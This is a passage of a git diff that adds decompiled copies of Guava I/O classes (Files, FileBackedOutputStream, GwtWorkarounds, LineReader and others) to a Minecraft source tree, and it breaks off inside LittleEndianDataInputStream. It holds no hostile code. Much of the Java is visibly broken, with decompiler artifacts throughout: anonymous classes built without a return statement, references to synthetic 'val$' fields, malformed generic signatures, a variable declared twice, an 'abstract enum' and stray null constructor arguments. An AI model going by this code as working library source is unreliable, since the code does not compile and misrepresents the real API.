diff --git a/src/minecraft/com/google/common/io/FileBackedOutputStream.java b/src/minecraft/com/google/common/io/FileBackedOutputStream.java
new file mode 100644
index 0000000..a9f4736
--- /dev/null
+++ b/src/minecraft/com/google/common/io/FileBackedOutputStream.java
@@ -0,0 +1,212 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class FileBackedOutputStream
+  extends OutputStream
+{
+  private final int fileThreshold;
+  private final boolean resetOnFinalize;
+  private final ByteSource source;
+  private OutputStream out;
+  private MemoryOutput memory;
+  private File file;
+  
+  private static class MemoryOutput
+    extends ByteArrayOutputStream
+  {
+    private MemoryOutput() {}
+    
+    byte[] getBuffer()
+    {
+      return buf;
+    }
+    
+    int getCount() {
+      return count;
+    }
+  }
+  
+  @VisibleForTesting
+  synchronized File getFile() {
+    return file;
+  }
+  
+
+
+
+
+
+
+
+  public FileBackedOutputStream(int fileThreshold)
+  {
+    this(fileThreshold, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public FileBackedOutputStream(int fileThreshold, boolean resetOnFinalize)
+  {
+    this.fileThreshold = fileThreshold;
+    this.resetOnFinalize = resetOnFinalize;
+    memory = new MemoryOutput(null);
+    out = memory;
+    
+    if (resetOnFinalize) {
+      source = new ByteSource()
+      {
+        public InputStream openStream() throws IOException {
+          return FileBackedOutputStream.this.openInputStream();
+        }
+        
+        protected void finalize() {
+          try {
+            reset();
+          } catch (Throwable t) {
+            t.printStackTrace(System.err);
+          }
+        }
+      };
+    } else {
+      source = new ByteSource()
+      {
+        public InputStream openStream() throws IOException {
+          return FileBackedOutputStream.this.openInputStream();
+        }
+      };
+    }
+  }
+  
+
+
+
+
+
+  public ByteSource asByteSource()
+  {
+    return source;
+  }
+  
+  private synchronized InputStream openInputStream() throws IOException {
+    if (file != null) {
+      return new FileInputStream(file);
+    }
+    return new ByteArrayInputStream(memory.getBuffer(), 0, memory.getCount());
+  }
+  
+
+
+
+
+
+
+  public synchronized void reset()
+    throws IOException
+  {
+    try
+    {
+      close();
+    } finally { File deleteMe;
+      if (memory == null) {
+        memory = new MemoryOutput(null);
+      } else {
+        memory.reset();
+      }
+      out = memory;
+      if (file != null) {
+        File deleteMe = file;
+        file = null;
+        if (!deleteMe.delete()) {
+          throw new IOException("Could not delete: " + deleteMe);
+        }
+      }
+    }
+  }
+  
+  public synchronized void write(int b) throws IOException {
+    update(1);
+    out.write(b);
+  }
+  
+  public synchronized void write(byte[] b) throws IOException {
+    write(b, 0, b.length);
+  }
+  
+  public synchronized void write(byte[] b, int off, int len) throws IOException
+  {
+    update(len);
+    out.write(b, off, len);
+  }
+  
+  public synchronized void close() throws IOException {
+    out.close();
+  }
+  
+  public synchronized void flush() throws IOException {
+    out.flush();
+  }
+  
+
+
+  private void update(int len)
+    throws IOException
+  {
+    if ((file == null) && (memory.getCount() + len > fileThreshold)) {
+      File temp = File.createTempFile("FileBackedOutputStream", null);
+      if (resetOnFinalize)
+      {
+
+        temp.deleteOnExit();
+      }
+      FileOutputStream transfer = new FileOutputStream(temp);
+      transfer.write(memory.getBuffer(), 0, memory.getCount());
+      transfer.flush();
+      
+
+      out = transfer;
+      file = temp;
+      memory = null;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/FileWriteMode.java b/src/minecraft/com/google/common/io/FileWriteMode.java
new file mode 100644
index 0000000..69e556a
--- /dev/null
+++ b/src/minecraft/com/google/common/io/FileWriteMode.java
@@ -0,0 +1,8 @@
+package com.google.common.io;
+
+public enum FileWriteMode
+{
+  APPEND;
+  
+  private FileWriteMode() {}
+}
diff --git a/src/minecraft/com/google/common/io/Files.java b/src/minecraft/com/google/common/io/Files.java
new file mode 100644
index 0000000..30d32ae
--- /dev/null
+++ b/src/minecraft/com/google/common/io/Files.java
@@ -0,0 +1,1039 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Joiner;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Splitter;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Lists;
+import com.google.common.collect.TreeTraverser;
+import com.google.common.hash.HashCode;
+import com.google.common.hash.HashFunction;
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.Closeable;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.OutputStreamWriter;
+import java.io.RandomAccessFile;
+import java.nio.MappedByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.channels.FileChannel.MapMode;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Files
+{
+  private static final int TEMP_DIR_ATTEMPTS = 10000;
+  
+  private Files() {}
+  
+  public static BufferedReader newReader(File file, Charset charset)
+    throws FileNotFoundException
+  {
+    Preconditions.checkNotNull(file);
+    Preconditions.checkNotNull(charset);
+    return new BufferedReader(new InputStreamReader(new FileInputStream(file), charset));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static BufferedWriter newWriter(File file, Charset charset)
+    throws FileNotFoundException
+  {
+    Preconditions.checkNotNull(file);
+    Preconditions.checkNotNull(charset);
+    return new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file), charset));
+  }
+  
+
+
+
+
+
+  public static ByteSource asByteSource(File file)
+  {
+    return new FileByteSource(file, null);
+  }
+  
+  private static final class FileByteSource extends ByteSource
+  {
+    private final File file;
+    
+    private FileByteSource(File file) {
+      this.file = ((File)Preconditions.checkNotNull(file));
+    }
+    
+    public FileInputStream openStream() throws IOException
+    {
+      return new FileInputStream(file);
+    }
+    
+    public long size() throws IOException
+    {
+      if (!file.isFile()) {
+        throw new FileNotFoundException(file.toString());
+      }
+      return file.length();
+    }
+    
+    public byte[] read() throws IOException
+    {
+      Closer closer = Closer.create();
+      try {
+        FileInputStream in = (FileInputStream)closer.register(openStream());
+        return Files.readFile(in, in.getChannel().size());
+      } catch (Throwable e) {
+        throw closer.rethrow(e);
+      } finally {
+        closer.close();
+      }
+    }
+    
+    public String toString()
+    {
+      return "Files.asByteSource(" + file + ")";
+    }
+  }
+  
+
+
+
+
+
+  static byte[] readFile(InputStream in, long expectedSize)
+    throws IOException
+  {
+    if (expectedSize > 2147483647L) {
+      throw new OutOfMemoryError("file is too large to fit in a byte array: " + expectedSize + " bytes");
+    }
+    
+
+
+
+    return expectedSize == 0L ? ByteStreams.toByteArray(in) : ByteStreams.toByteArray(in, (int)expectedSize);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static ByteSink asByteSink(File file, FileWriteMode... modes)
+  {
+    return new FileByteSink(file, modes, null);
+  }
+  
+  private static final class FileByteSink extends ByteSink
+  {
+    private final File file;
+    private final ImmutableSet<FileWriteMode> modes;
+    
+    private FileByteSink(File file, FileWriteMode... modes) {
+      this.file = ((File)Preconditions.checkNotNull(file));
+      this.modes = ImmutableSet.copyOf(modes);
+    }
+    
+    public FileOutputStream openStream() throws IOException
+    {
+      return new FileOutputStream(file, modes.contains(FileWriteMode.APPEND));
+    }
+    
+    public String toString()
+    {
+      return "Files.asByteSink(" + file + ", " + modes + ")";
+    }
+  }
+  
+
+
+
+
+
+  public static CharSource asCharSource(File file, Charset charset)
+  {
+    return asByteSource(file).asCharSource(charset);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static CharSink asCharSink(File file, Charset charset, FileWriteMode... modes)
+  {
+    return asByteSink(file, modes).asCharSink(charset);
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<FileInputStream> newInputStreamSupplier(File file)
+  {
+    return ByteStreams.asInputSupplier(asByteSource(file));
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static OutputSupplier<FileOutputStream> newOutputStreamSupplier(File file)
+  {
+    return newOutputStreamSupplier(file, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static OutputSupplier<FileOutputStream> newOutputStreamSupplier(File file, boolean append)
+  {
+    return ByteStreams.asOutputSupplier(asByteSink(file, modes(append)));
+  }
+  
+  private static FileWriteMode[] modes(boolean append) {
+    return append ? new FileWriteMode[] { FileWriteMode.APPEND } : new FileWriteMode[0];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<InputStreamReader> newReaderSupplier(File file, Charset charset)
+  {
+    return CharStreams.asInputSupplier(asCharSource(file, charset));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static OutputSupplier<OutputStreamWriter> newWriterSupplier(File file, Charset charset)
+  {
+    return newWriterSupplier(file, charset, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static OutputSupplier<OutputStreamWriter> newWriterSupplier(File file, Charset charset, boolean append)
+  {
+    return CharStreams.asOutputSupplier(asCharSink(file, charset, modes(append)));
+  }
+  
+
+
+
+
+
+
+
+  public static byte[] toByteArray(File file)
+    throws IOException
+  {
+    return asByteSource(file).read();
+  }
+  
+
+
+
+
+
+
+
+
+  public static String toString(File file, Charset charset)
+    throws IOException
+  {
+    return asCharSource(file, charset).read();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static void copy(InputSupplier<? extends InputStream> from, File to)
+    throws IOException
+  {
+    ByteStreams.asByteSource(from).copyTo(asByteSink(to, new FileWriteMode[0]));
+  }
+  
+
+
+
+
+
+  public static void write(byte[] from, File to)
+    throws IOException
+  {
+    asByteSink(to, new FileWriteMode[0]).write(from);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static void copy(File from, OutputSupplier<? extends OutputStream> to)
+    throws IOException
+  {
+    asByteSource(from).copyTo(ByteStreams.asByteSink(to));
+  }
+  
+
+
+
+
+
+  public static void copy(File from, OutputStream to)
+    throws IOException
+  {
+    asByteSource(from).copyTo(to);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void copy(File from, File to)
+    throws IOException
+  {
+    Preconditions.checkArgument(!from.equals(to), "Source %s and destination %s must be different", new Object[] { from, to });
+    
+    asByteSource(from).copyTo(asByteSink(to, new FileWriteMode[0]));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <R extends Readable,  extends Closeable> void copy(InputSupplier<R> from, File to, Charset charset)
+    throws IOException
+  {
+    CharStreams.asCharSource(from).copyTo(asCharSink(to, charset, new FileWriteMode[0]));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static void write(CharSequence from, File to, Charset charset)
+    throws IOException
+  {
+    asCharSink(to, charset, new FileWriteMode[0]).write(from);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static void append(CharSequence from, File to, Charset charset)
+    throws IOException
+  {
+    write(from, to, charset, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static void write(CharSequence from, File to, Charset charset, boolean append)
+    throws IOException
+  {
+    asCharSink(to, charset, modes(append)).write(from);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <W extends Appendable,  extends Closeable> void copy(File from, Charset charset, OutputSupplier<W> to)
+    throws IOException
+  {
+    asCharSource(from, charset).copyTo(CharStreams.asCharSink(to));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static void copy(File from, Charset charset, Appendable to)
+    throws IOException
+  {
+    asCharSource(from, charset).copyTo(to);
+  }
+  
+
+
+
+  public static boolean equal(File file1, File file2)
+    throws IOException
+  {
+    Preconditions.checkNotNull(file1);
+    Preconditions.checkNotNull(file2);
+    if ((file1 == file2) || (file1.equals(file2))) {
+      return true;
+    }
+    
+
+
+
+
+
+    long len1 = file1.length();
+    long len2 = file2.length();
+    if ((len1 != 0L) && (len2 != 0L) && (len1 != len2)) {
+      return false;
+    }
+    return asByteSource(file1).contentEquals(asByteSource(file2));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static File createTempDir()
+  {
+    File baseDir = new File(System.getProperty("java.io.tmpdir"));
+    String baseName = System.currentTimeMillis() + "-";
+    
+    for (int counter = 0; counter < 10000; counter++) {
+      File tempDir = new File(baseDir, baseName + counter);
+      if (tempDir.mkdir()) {
+        return tempDir;
+      }
+    }
+    throw new IllegalStateException("Failed to create directory within 10000 attempts (tried " + baseName + "0 to " + baseName + 9999 + ')');
+  }
+  
+
+
+
+
+
+
+
+  public static void touch(File file)
+    throws IOException
+  {
+    Preconditions.checkNotNull(file);
+    if ((!file.createNewFile()) && (!file.setLastModified(System.currentTimeMillis())))
+    {
+      throw new IOException("Unable to update modification time of " + file);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void createParentDirs(File file)
+    throws IOException
+  {
+    Preconditions.checkNotNull(file);
+    File parent = file.getCanonicalFile().getParentFile();
+    if (parent == null)
+    {
+
+
+
+
+
+
+      return;
+    }
+    parent.mkdirs();
+    if (!parent.isDirectory()) {
+      throw new IOException("Unable to create parent directories of " + file);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static void move(File from, File to)
+    throws IOException
+  {
+    Preconditions.checkNotNull(from);
+    Preconditions.checkNotNull(to);
+    Preconditions.checkArgument(!from.equals(to), "Source %s and destination %s must be different", new Object[] { from, to });
+    
+
+    if (!from.renameTo(to)) {
+      copy(from, to);
+      if (!from.delete()) {
+        if (!to.delete()) {
+          throw new IOException("Unable to delete " + to);
+        }
+        throw new IOException("Unable to delete " + from);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String readFirstLine(File file, Charset charset)
+    throws IOException
+  {
+    return asCharSource(file, charset).readFirstLine();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<String> readLines(File file, Charset charset)
+    throws IOException
+  {
+    (List)readLines(file, charset, new LineProcessor() {
+      final List<String> result = Lists.newArrayList();
+      
+      public boolean processLine(String line)
+      {
+        result.add(line);
+        return true;
+      }
+      
+      public List<String> getResult()
+      {
+        return result;
+      }
+    });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> T readLines(File file, Charset charset, LineProcessor<T> callback)
+    throws IOException
+  {
+    return CharStreams.readLines(newReaderSupplier(file, charset), callback);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> T readBytes(File file, ByteProcessor<T> processor)
+    throws IOException
+  {
+    return ByteStreams.readBytes(newInputStreamSupplier(file), processor);
+  }
+  
+
+
+
+
+
+
+
+
+  public static HashCode hash(File file, HashFunction hashFunction)
+    throws IOException
+  {
+    return asByteSource(file).hash(hashFunction);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static MappedByteBuffer map(File file)
+    throws IOException
+  {
+    Preconditions.checkNotNull(file);
+    return map(file, FileChannel.MapMode.READ_ONLY);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static MappedByteBuffer map(File file, FileChannel.MapMode mode)
+    throws IOException
+  {
+    Preconditions.checkNotNull(file);
+    Preconditions.checkNotNull(mode);
+    if (!file.exists()) {
+      throw new FileNotFoundException(file.toString());
+    }
+    return map(file, mode, file.length());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static MappedByteBuffer map(File file, FileChannel.MapMode mode, long size)
+    throws FileNotFoundException, IOException
+  {
+    Preconditions.checkNotNull(file);
+    Preconditions.checkNotNull(mode);
+    
+    Closer closer = Closer.create();
+    try {
+      RandomAccessFile raf = (RandomAccessFile)closer.register(new RandomAccessFile(file, mode == FileChannel.MapMode.READ_ONLY ? "r" : "rw"));
+      
+      return map(raf, mode, size);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+  private static MappedByteBuffer map(RandomAccessFile raf, FileChannel.MapMode mode, long size) throws IOException
+  {
+    Closer closer = Closer.create();
+    try {
+      FileChannel channel = (FileChannel)closer.register(raf.getChannel());
+      return channel.map(mode, 0L, size);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String simplifyPath(String pathname)
+  {
+    Preconditions.checkNotNull(pathname);
+    if (pathname.length() == 0) {
+      return ".";
+    }
+    
+
+    Iterable<String> components = Splitter.on('/').omitEmptyStrings().split(pathname);
+    
+    List<String> path = new ArrayList();
+    
+
+    for (String component : components) {
+      if (!component.equals("."))
+      {
+        if (component.equals("..")) {
+          if ((path.size() > 0) && (!((String)path.get(path.size() - 1)).equals(".."))) {
+            path.remove(path.size() - 1);
+          } else {
+            path.add("..");
+          }
+        } else {
+          path.add(component);
+        }
+      }
+    }
+    
+    String result = Joiner.on('/').join(path);
+    if (pathname.charAt(0) == '/') {
+      result = "/" + result;
+    }
+    
+    while (result.startsWith("/../")) {
+      result = result.substring(3);
+    }
+    if (result.equals("/..")) {
+      result = "/";
+    } else if ("".equals(result)) {
+      result = ".";
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+  public static String getFileExtension(String fullName)
+  {
+    Preconditions.checkNotNull(fullName);
+    String fileName = new File(fullName).getName();
+    int dotIndex = fileName.lastIndexOf('.');
+    return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String getNameWithoutExtension(String file)
+  {
+    Preconditions.checkNotNull(file);
+    String fileName = new File(file).getName();
+    int dotIndex = fileName.lastIndexOf('.');
+    return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static TreeTraverser<File> fileTreeTraverser()
+  {
+    return FILE_TREE_TRAVERSER;
+  }
+  
+  private static final TreeTraverser<File> FILE_TREE_TRAVERSER = new TreeTraverser()
+  {
+    public Iterable<File> children(File file)
+    {
+      if (file.isDirectory()) {
+        File[] files = file.listFiles();
+        if (files != null) {
+          return Collections.unmodifiableList(Arrays.asList(files));
+        }
+      }
+      
+      return Collections.emptyList();
+    }
+    
+    public String toString()
+    {
+      return "Files.fileTreeTraverser()";
+    }
+  };
+  
+
+
+
+
+  public static Predicate<File> isDirectory()
+  {
+    return FilePredicate.IS_DIRECTORY;
+  }
+  
+
+
+
+
+  public static Predicate<File> isFile()
+  {
+    return FilePredicate.IS_FILE;
+  }
+  
+  private static abstract enum FilePredicate implements Predicate<File> {
+    IS_DIRECTORY, 
+    
+
+
+
+
+
+
+
+
+
+
+    IS_FILE;
+    
+    private FilePredicate() {}
+  }
+}
diff --git a/src/minecraft/com/google/common/io/Flushables.java b/src/minecraft/com/google/common/io/Flushables.java
new file mode 100644
index 0000000..1c55dfd
--- /dev/null
+++ b/src/minecraft/com/google/common/io/Flushables.java
@@ -0,0 +1,80 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import java.io.Flushable;
+import java.io.IOException;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Flushables
+{
+  private static final Logger logger = Logger.getLogger(Flushables.class.getName());
+  
+
+
+
+
+
+
+
+  private Flushables() {}
+  
+
+
+
+
+
+
+  public static void flush(Flushable flushable, boolean swallowIOException)
+    throws IOException
+  {
+    try
+    {
+      flushable.flush();
+    } catch (IOException e) {
+      if (swallowIOException) {
+        logger.log(Level.WARNING, "IOException thrown while flushing Flushable.", e);
+      }
+      else {
+        throw e;
+      }
+    }
+  }
+  
+
+
+
+
+  public static void flushQuietly(Flushable flushable)
+  {
+    try
+    {
+      flush(flushable, true);
+    } catch (IOException e) {
+      logger.log(Level.SEVERE, "IOException should not have been thrown.", e);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/GwtWorkarounds.java b/src/minecraft/com/google/common/io/GwtWorkarounds.java
new file mode 100644
index 0000000..921d248
--- /dev/null
+++ b/src/minecraft/com/google/common/io/GwtWorkarounds.java
@@ -0,0 +1,273 @@
+package com.google.common.io;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.Reader;
+import java.io.Writer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class GwtWorkarounds
+{
+  private GwtWorkarounds() {}
+  
+  @GwtIncompatible("Reader")
+  static CharInput asCharInput(Reader reader)
+  {
+    Preconditions.checkNotNull(reader);
+    new CharInput()
+    {
+      public int read() throws IOException {
+        return val$reader.read();
+      }
+      
+      public void close() throws IOException
+      {
+        val$reader.close();
+      }
+    };
+  }
+  
+
+
+  static CharInput asCharInput(CharSequence chars)
+  {
+    Preconditions.checkNotNull(chars);
+    new CharInput() {
+      int index = 0;
+      
+      public int read()
+      {
+        if (index < val$chars.length()) {
+          return val$chars.charAt(index++);
+        }
+        return -1;
+      }
+      
+
+      public void close()
+      {
+        index = val$chars.length();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("InputStream")
+  static InputStream asInputStream(ByteInput input)
+  {
+    Preconditions.checkNotNull(input);
+    new InputStream()
+    {
+      public int read() throws IOException {
+        return val$input.read();
+      }
+      
+      public int read(byte[] b, int off, int len) throws IOException
+      {
+        Preconditions.checkNotNull(b);
+        Preconditions.checkPositionIndexes(off, off + len, b.length);
+        if (len == 0) {
+          return 0;
+        }
+        int firstByte = read();
+        if (firstByte == -1) {
+          return -1;
+        }
+        b[off] = ((byte)firstByte);
+        for (int dst = 1; dst < len; dst++) {
+          int readByte = read();
+          if (readByte == -1) {
+            return dst;
+          }
+          b[(off + dst)] = ((byte)readByte);
+        }
+        return len;
+      }
+      
+      public void close() throws IOException
+      {
+        val$input.close();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("OutputStream")
+  static OutputStream asOutputStream(ByteOutput output)
+  {
+    Preconditions.checkNotNull(output);
+    new OutputStream()
+    {
+      public void write(int b) throws IOException {
+        val$output.write((byte)b);
+      }
+      
+      public void flush() throws IOException
+      {
+        val$output.flush();
+      }
+      
+      public void close() throws IOException
+      {
+        val$output.close();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("Writer")
+  static CharOutput asCharOutput(Writer writer)
+  {
+    Preconditions.checkNotNull(writer);
+    new CharOutput()
+    {
+      public void write(char c) throws IOException {
+        val$writer.append(c);
+      }
+      
+      public void flush() throws IOException
+      {
+        val$writer.flush();
+      }
+      
+      public void close() throws IOException
+      {
+        val$writer.close();
+      }
+    };
+  }
+  
+
+
+
+  static CharOutput stringBuilderOutput(int initialSize)
+  {
+    StringBuilder builder = new StringBuilder(initialSize);
+    new CharOutput()
+    {
+      public void write(char c)
+      {
+        val$builder.append(c);
+      }
+      
+
+      public void flush() {}
+      
+
+      public void close() {}
+      
+      public String toString()
+      {
+        return val$builder.toString();
+      }
+    };
+  }
+  
+  static abstract interface CharOutput
+  {
+    public abstract void write(char paramChar)
+      throws IOException;
+    
+    public abstract void flush()
+      throws IOException;
+    
+    public abstract void close()
+      throws IOException;
+  }
+  
+  static abstract interface ByteOutput
+  {
+    public abstract void write(byte paramByte)
+      throws IOException;
+    
+    public abstract void flush()
+      throws IOException;
+    
+    public abstract void close()
+      throws IOException;
+  }
+  
+  static abstract interface ByteInput
+  {
+    public abstract int read()
+      throws IOException;
+    
+    public abstract void close()
+      throws IOException;
+  }
+  
+  static abstract interface CharInput
+  {
+    public abstract int read()
+      throws IOException;
+    
+    public abstract void close()
+      throws IOException;
+  }
+}
diff --git a/src/minecraft/com/google/common/io/InputSupplier.java b/src/minecraft/com/google/common/io/InputSupplier.java
new file mode 100644
index 0000000..909a584
--- /dev/null
+++ b/src/minecraft/com/google/common/io/InputSupplier.java
@@ -0,0 +1,10 @@
+package com.google.common.io;
+
+import java.io.IOException;
+
+@Deprecated
+public abstract interface InputSupplier<T>
+{
+  public abstract T getInput()
+    throws IOException;
+}
diff --git a/src/minecraft/com/google/common/io/LineBuffer.java b/src/minecraft/com/google/common/io/LineBuffer.java
new file mode 100644
index 0000000..72a020e
--- /dev/null
+++ b/src/minecraft/com/google/common/io/LineBuffer.java
@@ -0,0 +1,111 @@
+package com.google.common.io;
+
+import java.io.IOException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class LineBuffer
+{
+  private StringBuilder line = new StringBuilder();
+  
+
+
+  private boolean sawReturn;
+  
+
+
+
+  LineBuffer() {}
+  
+
+
+  protected void add(char[] cbuf, int off, int len)
+    throws IOException
+  {
+    int pos = off;
+    if ((sawReturn) && (len > 0))
+    {
+      if (finishLine(cbuf[pos] == '\n')) {
+        pos++;
+      }
+    }
+    
+    int start = pos;
+    for (int end = off + len; pos < end; pos++) {
+      switch (cbuf[pos]) {
+      case '\r': 
+        line.append(cbuf, start, pos - start);
+        sawReturn = true;
+        if (pos + 1 < end) {
+          if (finishLine(cbuf[(pos + 1)] == '\n')) {
+            pos++;
+          }
+        }
+        start = pos + 1;
+        break;
+      
+      case '\n': 
+        line.append(cbuf, start, pos - start);
+        finishLine(true);
+        start = pos + 1;
+      }
+      
+    }
+    
+
+
+    line.append(cbuf, start, off + len - start);
+  }
+  
+  private boolean finishLine(boolean sawNewline) throws IOException
+  {
+    handleLine(line.toString(), sawNewline ? "\n" : sawReturn ? "\r" : sawNewline ? "\r\n" : "");
+    
+
+    line = new StringBuilder();
+    sawReturn = false;
+    return sawNewline;
+  }
+  
+
+
+
+
+
+  protected void finish()
+    throws IOException
+  {
+    if ((sawReturn) || (line.length() > 0)) {
+      finishLine(false);
+    }
+  }
+  
+  protected abstract void handleLine(String paramString1, String paramString2)
+    throws IOException;
+}
diff --git a/src/minecraft/com/google/common/io/LineProcessor.java b/src/minecraft/com/google/common/io/LineProcessor.java
new file mode 100644
index 0000000..7e82d25
--- /dev/null
+++ b/src/minecraft/com/google/common/io/LineProcessor.java
@@ -0,0 +1,13 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import java.io.IOException;
+
+@Beta
+public abstract interface LineProcessor<T>
+{
+  public abstract boolean processLine(String paramString)
+    throws IOException;
+  
+  public abstract T getResult();
+}
diff --git a/src/minecraft/com/google/common/io/LineReader.java b/src/minecraft/com/google/common/io/LineReader.java
new file mode 100644
index 0000000..183056f
--- /dev/null
+++ b/src/minecraft/com/google/common/io/LineReader.java
@@ -0,0 +1,87 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.Reader;
+import java.nio.CharBuffer;
+import java.util.LinkedList;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class LineReader
+{
+  private final Readable readable;
+  private final Reader reader;
+  private final char[] buf = new char['က'];
+  private final CharBuffer cbuf = CharBuffer.wrap(buf);
+  
+  private final Queue<String> lines = new LinkedList();
+  private final LineBuffer lineBuf = new LineBuffer() {
+    protected void handleLine(String line, String end) {
+      lines.add(line);
+    }
+  };
+  
+
+
+
+  public LineReader(Readable readable)
+  {
+    this.readable = ((Readable)Preconditions.checkNotNull(readable));
+    reader = ((readable instanceof Reader) ? (Reader)readable : null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String readLine()
+    throws IOException
+  {
+    while (lines.peek() == null) {
+      cbuf.clear();
+      
+
+      int read = reader != null ? reader.read(buf, 0, buf.length) : readable.read(cbuf);
+      
+
+      if (read == -1) {
+        lineBuf.finish();
+        break;
+      }
+      lineBuf.add(buf, 0, read);
+    }
+    return (String)lines.poll();
+  }
+}
diff --git a/src/minecraft/com/google/common/io/LittleEndianDataInputStream.java b/src/minecraft/com/google/common/io/LittleEndianDataInputStream.java
new file mode 100644
index 0000000..d8eb234
--- /dev/null
+++ b/src/minecraft/com/google/common/io/LittleEndianDataInputStream.java
@@ -0,0 +1,231 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Ints;
+import com.google.common.primitives.Longs;
+import java.io.DataInput;
+import java.io.DataInputStream;
+import java.io.EOFException;
+import java.io.FilterInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class LittleEndianDataInputStream
+  extends FilterInputStream
+  implements DataInput
+{
+  public LittleEndianDataInputStream(InputStream in)
+  {
+    super((InputStream)Preconditions.checkNotNull(in));
+  }
+  
+
+
+
+  public String readLine()
+  {
+    throw new UnsupportedOperationException("readLine is not supported");
+  }
+  
+  public void readFully(byte[] b) throws IOException
+  {
